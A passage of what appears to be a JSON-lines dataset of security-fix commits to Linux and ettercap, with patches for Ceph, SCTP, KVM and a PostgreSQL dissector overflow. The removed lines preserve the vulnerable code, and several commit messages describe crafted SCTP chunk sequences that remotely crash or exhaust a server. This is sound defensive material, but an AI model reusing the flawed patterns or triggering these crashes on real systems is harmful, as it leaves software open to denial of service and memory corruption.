ticket_buf, dlen);\n \t}\n@@ -237,6 +246,8 @@ static int process_one_ticket(struct ceph_auth_client *ac,\n \txi->have_keys |= th->service;\n \n out:\n+\tkfree(ticket_buf);\n+\tkfree(dbuf);\n \treturn ret;\n \n bad:\n@@ -249,21 +260,10 @@ static int ceph_x_proc_ticket_reply(struct ceph_auth_client *ac,\n \t\t\t\t void *buf, void *end)\n {\n \tvoid *p = buf;\n-\tchar *dbuf;\n-\tchar *ticket_buf;\n \tu8 reply_struct_v;\n \tu32 num;\n \tint ret;\n \n-\tdbuf = kmalloc(TEMP_TICKET_BUF_LEN, GFP_NOFS);\n-\tif (!dbuf)\n-\t\treturn -ENOMEM;\n-\n-\tret = -ENOMEM;\n-\tticket_buf = kmalloc(TEMP_TICKET_BUF_LEN, GFP_NOFS);\n-\tif (!ticket_buf)\n-\t\tgoto out_dbuf;\n-\n \tceph_decode_8_safe(&p, end, reply_struct_v, bad);\n \tif (reply_struct_v != 1)\n \t\treturn -EINVAL;\n@@ -272,22 +272,15 @@ static int ceph_x_proc_ticket_reply(struct ceph_auth_client *ac,\n \tdout(\"%d tickets\\n\", num);\n \n \twhile (num--) {\n-\t\tret = process_one_ticket(ac, secret, &p, end,\n-\t\t\t\t\t dbuf, ticket_buf);\n+\t\tret = process_one_ticket(ac, secret, &p, end);\n \t\tif (ret)\n-\t\t\tgoto out;\n+\t\t\treturn ret;\n \t}\n \n-\tret = 0;\n-out:\n-\tkfree(ticket_buf);\n-out_dbuf:\n-\tkfree(dbuf);\n-\treturn ret;\n+\treturn 0;\n \n bad:\n-\tret = -EINVAL;\n-\tgoto out;\n+\treturn -EINVAL;\n }\n \n static int ceph_x_build_authorizer(struct ceph_auth_client *ac,\n@@ -603,13 +596,14 @@ static int ceph_x_verify_authorizer_reply(struct ceph_auth_client *ac,\n \tstruct ceph_x_ticket_handler *th;\n \tint ret = 0;\n \tstruct ceph_x_authorize_reply reply;\n+\tvoid *preply = &reply;\n \tvoid *p = au->reply_buf;\n \tvoid *end = p + sizeof(au->reply_buf);\n \n \tth = get_ticket_handler(ac, au->service);\n \tif (IS_ERR(th))\n \t\treturn PTR_ERR(th);\n-\tret = ceph_x_decrypt(&th->session_key, &p, end, &reply, sizeof(reply));\n+\tret = ceph_x_decrypt(&th->session_key, &p, end, &preply, sizeof(reply));\n \tif (ret < 0)\n \t\treturn ret;\n \tif (ret != sizeof(reply))", "sections": [{"section": "@@ -13,8 +13,6 @@\n #include \"auth_x.h\"\n #include \"auth_x_protocol.h\"\n \n-#define TEMP_TICKET_BUF_LEN\t256\n-\n static void ceph_x_validate_tickets(struct ceph_auth_client *ac, int *pneed);\n \n static int ceph_x_is_authenticated(struct ceph_auth_client *ac)\n", "related": false}, {"section": "@@ -64,7 +62,7 @@ static int ceph_x_encrypt(struct ceph_crypto_key *secret,\n }\n \n static int ceph_x_decrypt(struct ceph_crypto_key *secret,\n-\t\t\t void **p, void *end, void *obuf, size_t olen)\n+\t\t\t void **p, void *end, void **obuf, size_t olen)\n {\n \tstruct ceph_x_encrypt_header head;\n \tsize_t head_len = sizeof(head);\n", "related": false}, {"section": "@@ -75,8 +73,14 @@ static int ceph_x_decrypt(struct ceph_crypto_key *secret,\n \t\treturn -EINVAL;\n \n \tdout(\"ceph_x_decrypt len %d\\n\", len);\n-\tret = ceph_decrypt2(secret, &head, &head_len, obuf, &olen,\n-\t\t\t *p, len);\n+\tif (*obuf == NULL) {\n+\t\t*obuf = kmalloc(len, GFP_NOFS);\n+\t\tif (!*obuf)\n+\t\t\treturn -ENOMEM;\n+\t\tolen = len;\n+\t}\n+\n+\tret = ceph_decrypt2(secret, &head, &head_len, *obuf, &olen, *p, len);\n \tif (ret)\n \t\treturn ret;\n \tif (head.struct_v != 1 || le64_to_cpu(head.magic) != CEPHX_ENC_MAGIC)\n", "related": false}, {"section": "@@ -131,18 +135,19 @@ static void remove_ticket_handler(struct ceph_auth_client *ac,\n \n static int process_one_ticket(struct ceph_auth_client *ac,\n \t\t\t struct ceph_crypto_key *secret,\n-\t\t\t void **p, void *end,\n-\t\t\t void *dbuf, void *ticket_buf)\n+\t\t\t void **p, void *end)\n {\n \tstruct ceph_x_info *xi = ac->private;\n \tint type;\n \tu8 tkt_struct_v, blob_struct_v;\n \tstruct ceph_x_ticket_handler *th;\n+\tvoid *dbuf = NULL;\n \tvoid *dp, *dend;\n \tint dlen;\n \tchar is_enc;\n \tstruct timespec validity;\n \tstruct ceph_crypto_key old_key;\n+\tvoid *ticket_buf = NULL;\n \tvoid *tp, *tpend;\n \tstruct ceph_timespec new_validity;\n \tstruct ceph_crypto_key new_session_key;\n", "related": false}, {"section": "@@ -167,8 +172,7 @@ static int process_one_ticket(struct ceph_auth_client *ac,\n \t}\n \n \t/* blob for me */\n-\tdlen = ceph_x_decrypt(secret, p, end, dbuf,\n-\t\t\t TEMP_TICKET_BUF_LEN);\n+\tdlen = ceph_x_decrypt(secret, p, end, &dbuf, 0);\n \tif (dlen <= 0) {\n \t\tret = dlen;\n \t\tgoto out;\n", "related": false}, {"section": "@@ -195,20 +199,25 @@ static int process_one_ticket(struct ceph_auth_client *ac,\n \n \t/* ticket blob for service */\n \tceph_decode_8_safe(p, end, is_enc, bad);\n-\ttp = ticket_buf;\n \tif (is_enc) {\n \t\t/* encrypted */\n \t\tdout(\" encrypted ticket\\n\");\n-\t\tdlen = ceph_x_decrypt(&old_key, p, end, ticket_buf,\n-\t\t\t\t TEMP_TICKET_BUF_LEN);\n+\t\tdlen = ceph_x_decrypt(&old_key, p, end, &ticket_buf, 0);\n \t\tif (dlen < 0) {\n \t\t\tret = dlen;\n \t\t\tgoto out;\n \t\t}\n+\t\ttp = ticket_buf;\n \t\tdlen = ceph_decode_32(&tp);\n \t} else {\n \t\t/* unencrypted */\n \t\tceph_decode_32_safe(p, end, dlen, bad);\n+\t\tticket_buf = kmalloc(dlen, GFP_NOFS);\n+\t\tif (!ticket_buf) {\n+\t\t\tret = -ENOMEM;\n+\t\t\tgoto out;\n+\t\t}\n+\t\ttp = ticket_buf;\n \t\tceph_decode_need(p, end, dlen, bad);\n \t\tceph_decode_copy(p, ticket_buf, dlen);\n \t}\n", "related": false}, {"section": "@@ -237,6 +246,8 @@ static int process_one_ticket(struct ceph_auth_client *ac,\n \txi->have_keys |= th->service;\n \n out:\n+\tkfree(ticket_buf);\n+\tkfree(dbuf);\n \treturn ret;\n \n bad:\n", "related": false}, {"section": "@@ -249,21 +260,10 @@ static int ceph_x_proc_ticket_reply(struct ceph_auth_client *ac,\n \t\t\t\t void *buf, void *end)\n {\n \tvoid *p = buf;\n-\tchar *dbuf;\n-\tchar *ticket_buf;\n \tu8 reply_struct_v;\n \tu32 num;\n \tint ret;\n \n-\tdbuf = kmalloc(TEMP_TICKET_BUF_LEN, GFP_NOFS);\n-\tif (!dbuf)\n-\t\treturn -ENOMEM;\n-\n-\tret = -ENOMEM;\n-\tticket_buf = kmalloc(TEMP_TICKET_BUF_LEN, GFP_NOFS);\n-\tif (!ticket_buf)\n-\t\tgoto out_dbuf;\n-\n \tceph_decode_8_safe(&p, end, reply_struct_v, bad);\n \tif (reply_struct_v != 1)\n \t\treturn -EINVAL;\n", "related": false}, {"section": "@@ -272,22 +272,15 @@ static int ceph_x_proc_ticket_reply(struct ceph_auth_client *ac,\n \tdout(\"%d tickets\\n\", num);\n \n \twhile (num--) {\n-\t\tret = process_one_ticket(ac, secret, &p, end,\n-\t\t\t\t\t dbuf, ticket_buf);\n+\t\tret = process_one_ticket(ac, secret, &p, end);\n \t\tif (ret)\n-\t\t\tgoto out;\n+\t\t\treturn ret;\n \t}\n \n-\tret = 0;\n-out:\n-\tkfree(ticket_buf);\n-out_dbuf:\n-\tkfree(dbuf);\n-\treturn ret;\n+\treturn 0;\n \n bad:\n-\tret = -EINVAL;\n-\tgoto out;\n+\treturn -EINVAL;\n }\n \n static int ceph_x_build_authorizer(struct ceph_auth_client *ac,\n", "related": false}, {"section": "@@ -603,13 +596,14 @@ static int ceph_x_verify_authorizer_reply(struct ceph_auth_client *ac,\n \tstruct ceph_x_ticket_handler *th;\n \tint ret = 0;\n \tstruct ceph_x_authorize_reply reply;\n+\tvoid *preply = &reply;\n \tvoid *p = au->reply_buf;\n \tvoid *end = p + sizeof(au->reply_buf);\n \n \tth = get_ticket_handler(ac, au->service);\n \tif (IS_ERR(th))\n \t\treturn PTR_ERR(th);\n-\tret = ceph_x_decrypt(&th->session_key, &p, end, &reply, sizeof(reply));\n+\tret = ceph_x_decrypt(&th->session_key, &p, end, &preply, sizeof(reply));\n \tif (ret < 0)\n \t\treturn ret;\n \tif (ret != sizeof(reply))", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/sctp/sm_make_chunk.c", "commit_id": "e40607cbe270a9e8360907cb1e62ddf0736e4864", "commit_message": "net: sctp: fix NULL pointer dereference in af->from_addr_param on malformed packet\n\nAn SCTP server doing ASCONF will panic on malformed INIT ping-of-death\nin the form of:\n\n ------------ INIT[PARAM: SET_PRIMARY_IP] ------------>\n\nWhile the INIT chunk parameter verification dissects through many things\nin order to detect malformed input, it misses to actually check parameters\ninside of parameters. E.g. RFC5061, section 4.2.4 proposes a 'set primary\nIP address' parameter in ASCONF, which has as a subparameter an address\nparameter.\n\nSo an attacker may send a parameter type other than SCTP_PARAM_IPV4_ADDRESS\nor SCTP_PARAM_IPV6_ADDRESS, param_type2af() will subsequently return 0\nand thus sctp_get_af_specific() returns NULL, too, which we then happily\ndereference unconditionally through af->from_addr_param().\n\nThe trace for the log:\n\nBUG: unable to handle kernel NULL pointer dereference at 0000000000000078\nIP: [] sctp_process_init+0x492/0x990 [sctp]\nPGD 0\nOops: 0000 [#1] SMP\n[...]\nPid: 0, comm: swapper Not tainted 2.6.32-504.el6.x86_64 #1 Bochs Bochs\nRIP: 0010:[] [] sctp_process_init+0x492/0x990 [sctp]\n[...]\nCall Trace:\n \n [] ? sctp_bind_addr_copy+0x5d/0xe0 [sctp]\n [] sctp_sf_do_5_1B_init+0x21b/0x340 [sctp]\n [] sctp_do_sm+0x71/0x1210 [sctp]\n [] ? sctp_endpoint_lookup_assoc+0xc9/0xf0 [sctp]\n [] sctp_endpoint_bh_rcv+0x116/0x230 [sctp]\n [] sctp_inq_push+0x56/0x80 [sctp]\n [] sctp_rcv+0x982/0xa10 [sctp]\n [] ? ipt_local_in_hook+0x23/0x28 [iptable_filter]\n [] ? nf_iterate+0x69/0xb0\n [] ? ip_local_deliver_finish+0x0/0x2d0\n [] ? nf_hook_slow+0x76/0x120\n [] ? ip_local_deliver_finish+0x0/0x2d0\n[...]\n\nA minimal way to address this is to check for NULL as we do on all\nother such occasions where we know sctp_get_af_specific() could\npossibly return with NULL.\n\nFixes: d6de3097592b (\"[SCTP]: Add the handling of \"Set Primary IP Address\" parameter to INIT\")\nSigned-off-by: Daniel Borkmann \nCc: Vlad Yasevich \nAcked-by: Neil Horman \nSigned-off-by: David S. Miller ", "patch": "@@ -2609,6 +2609,9 @@ static int sctp_process_param(struct sctp_association *asoc,\n \t\taddr_param = param.v + sizeof(sctp_addip_param_t);\n \n \t\taf = sctp_get_af_specific(param_type2af(param.p->type));\n+\t\tif (af == NULL)\n+\t\t\tbreak;\n+\n \t\taf->from_addr_param(&addr, addr_param,\n \t\t\t\t htons(asoc->peer.port), 0);\n ", "sections": [{"section": "@@ -2609,6 +2609,9 @@ static int sctp_process_param(struct sctp_association *asoc,\n \t\taddr_param = param.v + sizeof(sctp_addip_param_t);\n \n \t\taf = sctp_get_af_specific(param_type2af(param.p->type));\n+\t\tif (af == NULL)\n+\t\t\tbreak;\n+\n \t\taf->from_addr_param(&addr, addr_param,\n \t\t\t\t htons(asoc->peer.port), 0);\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/sctp/sm_statefuns.c", "commit_id": "26b87c7881006311828bb0ab271a551a62dcceb4", "commit_message": "net: sctp: fix remote memory pressure from excessive queueing\n\nThis scenario is not limited to ASCONF, just taken as one\nexample triggering the issue. When receiving ASCONF probes\nin the form of ...\n\n -------------- INIT[ASCONF; ASCONF_ACK] ------------->\n <----------- INIT-ACK[ASCONF; ASCONF_ACK] ------------\n -------------------- COOKIE-ECHO -------------------->\n <-------------------- COOKIE-ACK ---------------------\n ---- ASCONF_a; [ASCONF_b; ...; ASCONF_n;] JUNK ------>\n [...]\n ---- ASCONF_m; [ASCONF_o; ...; ASCONF_z;] JUNK ------>\n\n... where ASCONF_a, ASCONF_b, ..., ASCONF_z are good-formed\nASCONFs and have increasing serial numbers, we process such\nASCONF chunk(s) marked with !end_of_packet and !singleton,\nsince we have not yet reached the SCTP packet end. SCTP does\nonly do verification on a chunk by chunk basis, as an SCTP\npacket is nothing more than just a container of a stream of\nchunks which it eats up one by one.\n\nWe could run into the case that we receive a packet with a\nmalformed tail, above marked as trailing JUNK. All previous\nchunks are here goodformed, so the stack will eat up all\nprevious chunks up to this point. In case JUNK does not fit\ninto a chunk header and there are no more other chunks in\nthe input queue, or in case JUNK contains a garbage chunk\nheader, but the encoded chunk length would exceed the skb\ntail, or we came here from an entirely different scenario\nand the chunk has pdiscard=1 mark (without having had a flush\npoint), it will happen, that we will excessively queue up\nthe association's output queue (a correct final chunk may\nthen turn it into a response flood when flushing the\nqueue ;)): I ran a simple script with incremental ASCONF\nserial numbers and could see the server side consuming\nexcessive amount of RAM [before/after: up to 2GB and more].\n\nThe issue at heart is that the chunk train basically ends\nwith !end_of_packet and !singleton markers and since commit\n2e3216cd54b1 (\"sctp: Follow security requirement of responding\nwith 1 packet\") therefore preventing an output queue flush\npoint in sctp_do_sm() -> sctp_cmd_interpreter() on the input\nchunk (chunk = event_arg) even though local_cork is set,\nbut its precedence has changed since then. In the normal\ncase, the last chunk with end_of_packet=1 would trigger the\nqueue flush to accommodate possible outgoing bundling.\n\nIn the input queue, sctp_inq_pop() seems to do the right thing\nin terms of discarding invalid chunks. So, above JUNK will\nnot enter the state machine and instead be released and exit\nthe sctp_assoc_bh_rcv() chunk processing loop. It's simply\nthe flush point being missing at loop exit. Adding a try-flush\napproach on the output queue might not work as the underlying\ninfrastructure might be long gone at this point due to the\nside-effect interpreter run.\n\nOne possibility, albeit a bit of a kludge, would be to defer\ninvalid chunk freeing into the state machine in order to\npossibly trigger packet discards and thus indirectly a queue\nflush on error. It would surely be better to discard chunks\nas in the current, perhaps better controlled environment, but\ngoing back and forth, it's simply architecturally not possible.\nI tried various trailing JUNK attack cases and it seems to\nlook good now.\n\nJoint work with Vlad Yasevich.\n\nFixes: 2e3216cd54b1 (\"sctp: Follow security requirement of responding with 1 packet\")\nSigned-off-by: Daniel Borkmann \nSigned-off-by: Vlad Yasevich \nSigned-off-by: David S. Miller ", "patch": "@@ -170,6 +170,9 @@ sctp_chunk_length_valid(struct sctp_chunk *chunk,\n {\n \t__u16 chunk_length = ntohs(chunk->chunk_hdr->length);\n \n+\t/* Previously already marked? */\n+\tif (unlikely(chunk->pdiscard))\n+\t\treturn 0;\n \tif (unlikely(chunk_length < required_length))\n \t\treturn 0;\n ", "sections": [{"section": "@@ -170,6 +170,9 @@ sctp_chunk_length_valid(struct sctp_chunk *chunk,\n {\n \t__u16 chunk_length = ntohs(chunk->chunk_hdr->length);\n \n+\t/* Previously already marked? */\n+\tif (unlikely(chunk->pdiscard))\n+\t\treturn 0;\n \tif (unlikely(chunk_length < required_length))\n \t\treturn 0;\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "arch/x86/include/asm/vmx.h", "commit_id": "bfd0a56b90005f8c8a004baf407ad90045c2b11e", "commit_message": "nEPT: Nested INVEPT\n\nIf we let L1 use EPT, we should probably also support the INVEPT instruction.\n\nIn our current nested EPT implementation, when L1 changes its EPT table\nfor L2 (i.e., EPT12), L0 modifies the shadow EPT table (EPT02), and in\nthe course of this modification already calls INVEPT. But if last level\nof shadow page is unsync not all L1's changes to EPT12 are intercepted,\nwhich means roots need to be synced when L1 calls INVEPT. Global INVEPT\nshould not be different since roots are synced by kvm_mmu_load() each\ntime EPTP02 changes.\n\nReviewed-by: Xiao Guangrong \nSigned-off-by: Nadav Har'El \nSigned-off-by: Jun Nakajima \nSigned-off-by: Xinhao Xu \nSigned-off-by: Yang Zhang \nSigned-off-by: Gleb Natapov \nSigned-off-by: Paolo Bonzini ", "patch": "@@ -387,13 +387,15 @@ enum vmcs_field {\n #define VMX_EPT_EXTENT_INDIVIDUAL_ADDR\t\t0\n #define VMX_EPT_EXTENT_CONTEXT\t\t\t1\n #define VMX_EPT_EXTENT_GLOBAL\t\t\t2\n+#define VMX_EPT_EXTENT_SHIFT\t\t\t24\n \n #define VMX_EPT_EXECUTE_ONLY_BIT\t\t(1ull)\n #define VMX_EPT_PAGE_WALK_4_BIT\t\t\t(1ull << 6)\n #define VMX_EPTP_UC_BIT\t\t\t\t(1ull << 8)\n #define VMX_EPTP_WB_BIT\t\t\t\t(1ull << 14)\n #define VMX_EPT_2MB_PAGE_BIT\t\t\t(1ull << 16)\n #define VMX_EPT_1GB_PAGE_BIT\t\t\t(1ull << 17)\n+#define VMX_EPT_INVEPT_BIT\t\t\t(1ull << 20)\n #define VMX_EPT_AD_BIT\t\t\t\t (1ull << 21)\n #define VMX_EPT_EXTENT_CONTEXT_BIT\t\t(1ull << 25)\n #define VMX_EPT_EXTENT_GLOBAL_BIT\t\t(1ull << 26)", "sections": [{"section": "@@ -387,13 +387,15 @@ enum vmcs_field {\n #define VMX_EPT_EXTENT_INDIVIDUAL_ADDR\t\t0\n #define VMX_EPT_EXTENT_CONTEXT\t\t\t1\n #define VMX_EPT_EXTENT_GLOBAL\t\t\t2\n+#define VMX_EPT_EXTENT_SHIFT\t\t\t24\n \n #define VMX_EPT_EXECUTE_ONLY_BIT\t\t(1ull)\n #define VMX_EPT_PAGE_WALK_4_BIT\t\t\t(1ull << 6)\n #define VMX_EPTP_UC_BIT\t\t\t\t(1ull << 8)\n #define VMX_EPTP_WB_BIT\t\t\t\t(1ull << 14)\n #define VMX_EPT_2MB_PAGE_BIT\t\t\t(1ull << 16)\n #define VMX_EPT_1GB_PAGE_BIT\t\t\t(1ull << 17)\n+#define VMX_EPT_INVEPT_BIT\t\t\t(1ull << 20)\n #define VMX_EPT_AD_BIT\t\t\t\t (1ull << 21)\n #define VMX_EPT_EXTENT_CONTEXT_BIT\t\t(1ull << 25)\n #define VMX_EPT_EXTENT_GLOBAL_BIT\t\t(1ull << 26)", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/sctp/sm_statefuns.c", "commit_id": "9de7922bc709eee2f609cd01d98aaedc4cf5ea74", "commit_message": "net: sctp: fix skb_over_panic when receiving malformed ASCONF chunks\n\nCommit 6f4c618ddb0 (\"SCTP : Add paramters validity check for\nASCONF chunk\") added basic verification of ASCONF chunks, however,\nit is still possible to remotely crash a server by sending a\nspecial crafted ASCONF chunk, even up to pre 2.6.12 kernels:\n\nskb_over_panic: text:ffffffffa01ea1c3 len:31056 put:30768\n head:ffff88011bd81800 data:ffff88011bd81800 tail:0x7950\n end:0x440 dev:\n ------------[ cut here ]------------\nkernel BUG at net/core/skbuff.c:129!\n[...]\nCall Trace:\n \n [] skb_put+0x5c/0x70\n [] sctp_addto_chunk+0x63/0xd0 [sctp]\n [] sctp_process_asconf+0x1af/0x540 [sctp]\n [] ? _read_unlock_bh+0x15/0x20\n [] sctp_sf_do_asconf+0x168/0x240 [sctp]\n [] sctp_do_sm+0x71/0x1210 [sctp]\n [] ? fib_rules_lookup+0xad/0xf0\n [] ? sctp_cmp_addr_exact+0x32/0x40 [sctp]\n [] sctp_assoc_bh_rcv+0xd3/0x180 [sctp]\n [] sctp_inq_push+0x56/0x80 [sctp]\n [] sctp_rcv+0x982/0xa10 [sctp]\n [] ? ipt_local_in_hook+0x23/0x28 [iptable_filter]\n [] ? nf_iterate+0x69/0xb0\n [] ? ip_local_deliver_finish+0x0/0x2d0\n [] ? nf_hook_slow+0x76/0x120\n [] ? ip_local_deliver_finish+0x0/0x2d0\n [] ip_local_deliver_finish+0xdd/0x2d0\n [] ip_local_deliver+0x98/0xa0\n [] ip_rcv_finish+0x12d/0x440\n [] ip_rcv+0x275/0x350\n [] __netif_receive_skb+0x4ab/0x750\n [] netif_receive_skb+0x58/0x60\n\nThis can be triggered e.g., through a simple scripted nmap\nconnection scan injecting the chunk after the handshake, for\nexample, ...\n\n -------------- INIT[ASCONF; ASCONF_ACK] ------------->\n <----------- INIT-ACK[ASCONF; ASCONF_ACK] ------------\n -------------------- COOKIE-ECHO -------------------->\n <-------------------- COOKIE-ACK ---------------------\n ------------------ ASCONF; UNKNOWN ------------------>\n\n... where ASCONF chunk of length 280 contains 2 parameters ...\n\n 1) Add IP address parameter (param length: 16)\n 2) Add/del IP address parameter (param length: 255)\n\n... followed by an UNKNOWN chunk of e.g. 4 bytes. Here, the\nAddress Parameter in the ASCONF chunk is even missing, too.\nThis is just an example and similarly-crafted ASCONF chunks\ncould be used just as well.\n\nThe ASCONF chunk passes through sctp_verify_asconf() as all\nparameters passed sanity checks, and after walking, we ended\nup successfully at the chunk end boundary, and thus may invoke\nsctp_process_asconf(). Parameter walking is done with\nWORD_ROUND() to take padding into account.\n\nIn sctp_process_asconf()'s TLV processing, we may fail in\nsctp_process_asconf_param() e.g., due to removal of the IP\naddress that is also the source address of the packet containing\nthe ASCONF chunk, and thus we need to add all TLVs after the\nfailure to our ASCONF response to remote via helper function\nsctp_add_asconf_response(), which basically invokes a\nsctp_addto_chunk() adding the error parameters to the given\nskb.\n\nWhen walking to the next parameter this time, we proceed\nwith ...\n\n length = ntohs(asconf_param->param_hdr.length);\n asconf_param = (void *)asconf_param + length;\n\n... instead of the WORD_ROUND()'ed length, thus resulting here\nin an off-by-one that leads to reading the follow-up garbage\nparameter length of 12336, and thus throwing an skb_over_panic\nfor the reply when trying to sctp_addto_chunk() next time,\nwhich implicitly calls the skb_put() with that length.\n\nFix it by using sctp_walk_params() [ which is also used in\nINIT parameter processing ] macro in the verification *and*\nin ASCONF processing: it will make sure we don't spill over,\nthat we walk parameters WORD_ROUND()'ed. Moreover, we're being\nmore defensive and guard against unknown parameter types and\nmissized addresses.\n\nJoint work with Vlad Yasevich.\n\nFixes: b896b82be4ae (\"[SCTP] ADDIP: Support for processing incoming ASCONF_ACK chunks.\")\nSigned-off-by: Daniel Borkmann \nSigned-off-by: Vlad Yasevich \nAcked-by: Neil Horman \nSigned-off-by: David S. Miller ", "patch": "@@ -3591,9 +3591,7 @@ sctp_disposition_t sctp_sf_do_asconf(struct net *net,\n \tstruct sctp_chunk\t*asconf_ack = NULL;\n \tstruct sctp_paramhdr\t*err_param = NULL;\n \tsctp_addiphdr_t\t\t*hdr;\n-\tunion sctp_addr_param\t*addr_param;\n \t__u32\t\t\tserial;\n-\tint\t\t\tlength;\n \n \tif (!sctp_vtag_verify(chunk, asoc)) {\n \t\tsctp_add_cmd_sf(commands, SCTP_CMD_REPORT_BAD_TAG,\n@@ -3618,17 +3616,8 @@ sctp_disposition_t sctp_sf_do_asconf(struct net *net,\n \thdr = (sctp_addiphdr_t *)chunk->skb->data;\n \tserial = ntohl(hdr->serial);\n \n-\taddr_param = (union sctp_addr_param *)hdr->params;\n-\tlength = ntohs(addr_param->p.length);\n-\tif (length < sizeof(sctp_paramhdr_t))\n-\t\treturn sctp_sf_violation_paramlen(net, ep, asoc, type, arg,\n-\t\t\t (void *)addr_param, commands);\n-\n \t/* Verify the ASCONF chunk before processing it. */\n-\tif (!sctp_verify_asconf(asoc,\n-\t\t\t (sctp_paramhdr_t *)((void *)addr_param + length),\n-\t\t\t (void *)chunk->chunk_end,\n-\t\t\t &err_param))\n+\tif (!sctp_verify_asconf(asoc, chunk, true, &err_param))\n \t\treturn sctp_sf_violation_paramlen(net, ep, asoc, type, arg,\n \t\t\t\t\t\t (void *)err_param, commands);\n \n@@ -3745,10 +3734,7 @@ sctp_disposition_t sctp_sf_do_asconf_ack(struct net *net,\n \trcvd_serial = ntohl(addip_hdr->serial);\n \n \t/* Verify the ASCONF-ACK chunk before processing it. */\n-\tif (!sctp_verify_asconf(asoc,\n-\t (sctp_paramhdr_t *)addip_hdr->params,\n-\t (void *)asconf_ack->chunk_end,\n-\t &err_param))\n+\tif (!sctp_verify_asconf(asoc, asconf_ack, false, &err_param))\n \t\treturn sctp_sf_violation_paramlen(net, ep, asoc, type, arg,\n \t\t\t (void *)err_param, commands);\n ", "sections": [{"section": "@@ -3591,9 +3591,7 @@ sctp_disposition_t sctp_sf_do_asconf(struct net *net,\n \tstruct sctp_chunk\t*asconf_ack = NULL;\n \tstruct sctp_paramhdr\t*err_param = NULL;\n \tsctp_addiphdr_t\t\t*hdr;\n-\tunion sctp_addr_param\t*addr_param;\n \t__u32\t\t\tserial;\n-\tint\t\t\tlength;\n \n \tif (!sctp_vtag_verify(chunk, asoc)) {\n \t\tsctp_add_cmd_sf(commands, SCTP_CMD_REPORT_BAD_TAG,\n", "related": false}, {"section": "@@ -3618,17 +3616,8 @@ sctp_disposition_t sctp_sf_do_asconf(struct net *net,\n \thdr = (sctp_addiphdr_t *)chunk->skb->data;\n \tserial = ntohl(hdr->serial);\n \n-\taddr_param = (union sctp_addr_param *)hdr->params;\n-\tlength = ntohs(addr_param->p.length);\n-\tif (length < sizeof(sctp_paramhdr_t))\n-\t\treturn sctp_sf_violation_paramlen(net, ep, asoc, type, arg,\n-\t\t\t (void *)addr_param, commands);\n-\n \t/* Verify the ASCONF chunk before processing it. */\n-\tif (!sctp_verify_asconf(asoc,\n-\t\t\t (sctp_paramhdr_t *)((void *)addr_param + length),\n-\t\t\t (void *)chunk->chunk_end,\n-\t\t\t &err_param))\n+\tif (!sctp_verify_asconf(asoc, chunk, true, &err_param))\n \t\treturn sctp_sf_violation_paramlen(net, ep, asoc, type, arg,\n \t\t\t\t\t\t (void *)err_param, commands);\n \n", "related": false}, {"section": "@@ -3745,10 +3734,7 @@ sctp_disposition_t sctp_sf_do_asconf_ack(struct net *net,\n \trcvd_serial = ntohl(addip_hdr->serial);\n \n \t/* Verify the ASCONF-ACK chunk before processing it. */\n-\tif (!sctp_verify_asconf(asoc,\n-\t (sctp_paramhdr_t *)addip_hdr->params,\n-\t (void *)asconf_ack->chunk_end,\n-\t &err_param))\n+\tif (!sctp_verify_asconf(asoc, asconf_ack, false, &err_param))\n \t\treturn sctp_sf_violation_paramlen(net, ep, asoc, type, arg,\n \t\t\t (void *)err_param, commands);\n ", "related": false}]} +{"owner": "ettercap", "repo": "ettercap", "language": "C", "file_name": "src/dissectors/ec_postgresql.c", "commit_id": "e3abe7d7585ecc420a7cab73313216613aadad5a", "commit_message": "Fixed heap overflow caused by length", "patch": "@@ -39,7 +39,7 @@ struct postgresql_status {\n u_char status;\n u_char user[65];\n u_char type;\n- u_char password[65];\n+ u_char password[66];\n u_char hash[33];\n u_char salt[9];\n u_char database[65];\n@@ -157,8 +157,12 @@ FUNC_DECODER(dissector_postgresql)\n int length;\n DEBUG_MSG(\"\\tDissector_postgresql RESPONSE type is clear-text!\");\n GET_ULONG_BE(length, ptr, 1);\n- strncpy((char*)conn_status->password, (char*)(ptr + 5), length - 4);\n- conn_status->password[length - 4] = 0;\n+ length -= 4;\n+ if (length < 0 || length > 65 || PACKET->DATA.len < length+5) {\n+ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_postgresql));\n+ return NULL;\n+ }\n+ snprintf((char*)conn_status->password, length+1, \"%s\", (char*)(ptr + 5));\n DISSECT_MSG(\"PostgreSQL credentials:%s-%d:%s:%s\\n\", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), conn_status->user, conn_status->password);\n dissect_wipe_session(PACKET, DISSECT_CODE(dissector_postgresql));\n }", "sections": [{"section": "@@ -39,7 +39,7 @@ struct postgresql_status {\n u_char status;\n u_char user[65];\n u_char type;\n- u_char password[65];\n+ u_char password[66];\n u_char hash[33];\n u_char salt[9];\n u_char database[65];\n", "related": false}, {"section": "@@ -157,8 +157,12 @@ FUNC_DECODER(dissector_postgresql)\n int length;\n DEBUG_MSG(\"\\tDissector_postgresql RESPONSE type is clear-text!\");\n GET_ULONG_BE(length, ptr, 1);\n- strncpy((char*)conn_status->password, (char*)(ptr + 5), length - 4);\n- conn_status->password[length - 4] = 0;\n+ length -= 4;\n+ if (length < 0 || length > 65 || PACKET->DATA.len < length+5) {\n+ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_postgresql));\n+ return NULL;\n+ }\n+ snprintf((char*)conn_status->password, length+1, \"%s\", (char*)(ptr + 5));\n DISSECT_MSG(\"PostgreSQL credentials:%s-%d:%s:%s\\n\", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), conn_status->user, conn_status->password);\n dissect_wipe_session(PACKET, DISSECT_CODE(dissector_postgresql));\n }", "related": true}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "arch/x86/include/asm/traps.h", "commit_id": "6f442be2fb22be02cafa606f1769fa1e6f894441", "commit_message": "x86_64, traps: Stop using IST for #SS\n\nOn a 32-bit kernel, this has no effect, since there are no IST stacks.\n\nOn a 64-bit kernel, #SS can only happen in user code, on a failed iret\nto user space, a canonical violation on access via RSP or RBP, or a\ngenuine stack segment violation in 32-bit kernel code. The first two\ncases don't need IST, and the latter two cases are unlikely fatal bugs,\nand promoting them to double faults would be fine.\n\nThis fixes a bug in which the espfix64 code mishandles a stack segment\nviolation.\n\nThis saves 4k of memory per CPU and a tiny bit of code.\n\nSigned-off-by: Andy Lutomirski \nReviewed-by: Thomas Gleixner \nCc: 